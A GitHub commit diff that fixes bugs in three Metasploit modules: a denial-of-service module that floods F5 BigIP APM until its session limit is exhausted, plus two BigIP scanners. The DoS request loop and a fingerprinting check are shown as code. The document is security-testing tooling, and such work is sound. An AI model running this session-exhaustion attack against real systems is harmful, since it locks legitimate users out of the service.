Skip to content

Commit f95774c

Browse files
committed
Fixed bugs
1 parent c9e8f9c commit f95774c

File tree

3 files changed

+21
-9
lines changed

3 files changed

+21
-9
lines changed

modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb

Lines changed: 18 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77

88
class Metasploit3 < Msf::Auxiliary
99
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::Dos
1011

1112
def initialize(info = {})
1213
super(update_info(info,
@@ -40,30 +41,40 @@ def initialize(info = {})
4041
[
4142
OptPort.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
4243
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
43-
OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000])
44+
OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]),
45+
OptBool.new('IGNOREMISMATCH', [true, 'Proceed with attack only if BigIP virtual server was detected', false]),
4446
], self.class)
4547
end
4648

4749
def run
4850
# Main function
4951
rlimit = datastore['RLIMIT']
5052
proto = datastore['SSL'] ? 'https' : 'http'
53+
ignore_mismatch = datastore['IGNOREMISMATCH']
5154

5255
# Send an initial test request
5356
res = send_request_cgi('method' => 'GET', 'uri' => '/')
5457
if res
55-
print_status("#{peer} - Starting DoS attack")
58+
server = res.headers['Server']
59+
# Simple test based on HTTP Server header to detect BigIP virtual server
60+
unless ignore_mismatch
61+
if server !~ /BIG\-IP/ && server !~ /BigIP/
62+
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
63+
return
64+
end
65+
end
66+
print_good("#{peer} - Starting DoS attack")
5667
else
57-
print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BIgIP. Please check options")
68+
print_error("#{peer} - Unable to connect to BigIP. Please check options")
5869
return
5970
end
6071

6172
# Start attack
6273
(1..rlimit).each do
6374
res = send_request_cgi('method' => 'GET', 'uri' => '/')
6475
if res && res.headers['Location'] == '/my.logout.php3?errorcode=14'
65-
print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time")
66-
print_status("#{peer} - DoS attack is successful")
76+
print_good("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time")
77+
print_good("#{peer} - DoS attack is successful")
6778
return
6879
end
6980
end
@@ -77,9 +88,9 @@ def run
7788
end
7889

7990
rescue ::Rex::ConnectionRefused
80-
print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BigIP")
91+
print_error("#{peer} - Unable to connect to BigIP")
8192
rescue ::Rex::ConnectionTimeout
82-
print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BigIP. Please check options")
93+
print_error("#{peer} - Unable to connect to BigIP. Please check options")
8394
rescue ::Errno::ECONNRESET
8495
print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached")
8596
print_status("#{peer} - DoS attack is unsuccessful")

modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -75,6 +75,7 @@ def run_host(ip)
7575
next if port == 443
7676
if bigip_http?(ip, port, ssl = false, verbose)
7777
print_status("#{ip}:#{port} - BigIP HTTP virtual server found")
78+
ports.delete(port)
7879
end
7980
end
8081

modules/auxiliary/scanner/http/f5_mgmt_scanner.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ def port_open?(to, verbose)
4040
begin
4141
::Timeout.timeout(to) do
4242
begin
43-
res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport)
43+
res = send_request_raw('method' => 'GET', 'uri' => '/')
4444
return true if res
4545
rescue ::Rex::ConnectionRefused
4646
print_status("#{peer} - TCP port closed") if verbose
@@ -67,7 +67,7 @@ def run_host(ip)
6767
verbose = datastore['VERBOSE']
6868
return unless port_open?(to, verbose)
6969

70-
res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport)
70+
res = send_request_raw('method' => 'GET', 'uri' => '/')
7171
if res && res.code == 200
7272

7373
# Detect BigIP management interface

0 commit comments

Comments
 (0)